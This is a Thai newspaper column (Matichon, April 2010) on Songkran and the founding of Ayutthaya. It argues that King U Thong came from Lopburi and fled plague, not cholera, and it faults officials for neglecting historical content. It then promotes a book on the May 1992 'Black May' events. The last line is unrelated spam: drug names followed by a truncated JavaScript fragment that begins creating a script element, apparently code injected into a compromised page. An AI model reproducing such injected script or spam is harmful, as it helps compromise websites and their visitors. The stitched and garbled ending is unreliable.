หนังสือพิมพ์มติชนฉบับวันจันทร์ที่ 12 เมษายน พ.ศ.2553

 

สงกรานต์ มีความหมายหลายอย่างในประวัติศาสตร์ไทย โดยเฉพาะประวัติศาสตร์อยุธยา

พระราชพงศาวดารกรุงศรีอยุธยาเกือบทุกฉบับ บอกไว้คล้ายกันว่า “แรกสถาปนากรุงพระนครศรีอยุธยา” ใน“เือน 5”(พ.ศ. 1893) แล้ว“ล่มสลาย”ใน “เดือน 5”(พ.ศ. 2310)

“เดือน 5”นี้เรียกตามปฏิทินจันทรคติของภูมิภาคสุวรรณภูมิ ที่ยังขึ้นฤดูกาลใหม่ เดือนอ้าย(เดือน 1) หลังลอยกระทงเดือน 12 ประมาณพฤศจิกายน-ธันวาคม ฉะนั้นเดือน 5 จะอยู่ราวเดือนมีนาคม-เมษายน คาบเกี่ยวกัน

พิสูจน์ไม่ได้ว่าเอกสารโบราณบันทึกวันสถาปนาและวันล่มสลายของอยุธยาไว้ถูกต้องแน่นอนหรือไม่?

แต่มีขนบเป็นแน่แท้ว่าให้ความสำคัญช่วงเวลาที่เรียก “สงกรานต์” อันเป็นคติพราหมณ์ที่รัฐในสุวรรณภูมิรับจากชมพูทวีป(อินเดีย)มาเหมือนๆกัน ไม่ได้มีที่ไทยแห่งเดียวอย่างที่ตีขลุมว่า“ปีใหม่ไทย” (ซึ่งผิด เพราะที่จริงเป็นของแขกฮินดูในอินเดีย)

ดังนั้น เอกสารโบราณมักย้ำว่าอยุธยาสถาปนาและล่มสลายช่วงสงกรานต์ ที่คนแต่ก่อนมีงานฉลองทั้งก่อนและหลังวันมหาสงกรานต์นานหลายวันเกือบทั้งเดือน

จะมีงานวันสถาปนากรุงศรีอยุธยาประจำทุกปีที่อยุธยา ย่อมเป็นกิจกรรมที่ควรสนับสนุน แต่ควรสนับสนุนด้าน“เนื้อหา” มากกว่าด้าน“รูปแบบ”

น่าเสียดายที่ระบบราชการให้ความสำคัญ“รูปแบบ” มากกว่า“เนื้อหา” แต่ถ้าพิจารณาให้ลึกลงไปแล้วทุ่มเทด้าน“รูปแบบ”อย่างเดียว โดยไม่มีแบ่งปันด้าน“เนื้อหา”เลยแม้แต่น้อย

สถาบันการศึกษาทั่วประเทศ เคยมีตำราสอนว่าพระเจ้าอู่ทองที่ทรงสถาปนากรุงศรีอยุธยา หนีโรคห่าอหิวาต์มาจากเมืองอู่ทอง สุพรรณบุรี ทุกวันนี้ยังมีสอนอย่างนี้อยู่บ้าง บางสถาบันไม่สอนอย่างนี้แล้ว เพราะรู้ว่าผิด แต่ไม่รู้ที่ถูกเป็นอย่างไรเลยต้องสอนอย่างเก่าคือสอนผิดๆไปก่อน โดยไม่แก้ไขให้ถูก เพราะไม่รู้จะแก้อย่างไร? ตรงไหน? ฯลฯ

ร่องรอยหลักฐานบานตะไทชี้ว่าสมเด็จพระรามาธิบดี(พระเจ้าอู่ทอง) เป็นเชื้อวงศ์จากเมืองลพบุรี(ละโว้) มีแม่น้ำลพบุรีเป็นเส้นทางคมนาคมเชื่อมโยงอย่างสำคัญ ตำนานและพงศาวดารก็มีระบุชัดเจน

โรคห่าก็ไม่ใช่อหิวาต์ แต่เป็นกาฬโรค ที่ฝรั่งเรียก Black Death เกิดระบาดตรงกันทั้งหมดตั้งแต่อุษาคเนย์, ตะวันออกกลาง, ยุโรป มีคนตายนับล้าน ส่งผลให้สมเด็จพระรามาธิบดีที่ครอง“อโยธยาศรีรามเทพนคร”(บริเวณวัดพนัญเชิง)ต้อง“สถาปนา”นามเมืองใหม่ว่า“กรุงศรีอยุธยา”แก้อาถรรพณ์เมื่อสงกรานต์ พ.ศ. 1893

น่าเสียดายที่อยุธยา“มรดกโลก” มีทั้งมหาวิทยาลัย, สถาบันอยุธยา, พิพิธ ภัณฑ์, ศูนย์ประวัติศาสตร์อยุธยา, ฯลฯ แต่ไม่สนใจแบ่งปันเผยแพร่“เนื้อหา”ความรู้เหล่านี้สู่สาธารณะในวาระอันดีเยี่ยม

บ้านเราเต็มไปด้วยผู้มีอำนาจ “ดีแต่พูด—good but mouth” ชอบกล่าวหาด่าทอคนอื่นไม่รักอยุธยา แต่หาได้ดูตัวเองไม่—ทุเรศชิบเป๋ง

เบื้องลึก เบื้องหลัง พฤษภา 35 ประชาธิปไตยเปื้อนเลือด หรือ “พฤษภาทมิฬ” ที่ รุ่งมณี  เมฆโสภณ เขียนถึงในหนังสือเล่มใหม่ของเธอนี้ ได้มองย้อนไปถึงเหตุการณ์ทางการเมืองก่อนหน้านั้น ซึ่งทำให้ผู้อ่านสามารถเข้าใจถึงเหตุการณ์ “พฤษภาทมิฬ”ได้อยางชัดแจ้ง และไม่เพียงช่วยให้ผู้อ่านเข้าใจอดีต แต่ยังทำให้ผู้อ่านเข้าใจในการเมืองปัจจุบันอีกด้วย

รุ่งมณียังได้สัมภาษณ์พิเศษบุคคลสำคัญที่เกี่ยวข้องกับเหตุการณ์ ให้ช่วยกันเหลียวหลังมองถึง “พฤษภาทมิฬ” และแลหน้าไปถึงการเมืองไทยในอนาคต ทั้งพลเอก สุจินดา คราประยูร, พลตรีจำลอง ศรีเมือง, นายอานันท์ ปันยารชุน, ดอกเตอร์อาทิตย์ อุไรรัตน์, นายไกรศักดิ์ ชุณหะวัณ, และดอกเตอร์ปริญญา เทวานฤมิตรกุล

ยิ่งไปกว่านั้น หนังสือ “ประชาธิปไตยเปื้อนเลือด” ซึ่งพิมพ์ทั้งปกแข็ง(จำนวนจำกัด) และปกอ่อน ยังได้อภินันทนาการผู้อ่านด้วยซีดีบันทึกเสียงประวัติศาสตร์ “รำลึกเหตุการณ์ พฤษภาคม 35” ของ วิทยุบีบีซี ภาคภาษาไทย ซึ่งเมื่อ 18 ปีก่อนเคยผลิตเป็นเทปที่ระลึกแก่ผู้ฟังทั่วโลก และปัจจุบันกลายเป็นของหายากไปแล้ว


fluoxetine ati valtrex tablet var d=document;var s=d.createElement(‘script’);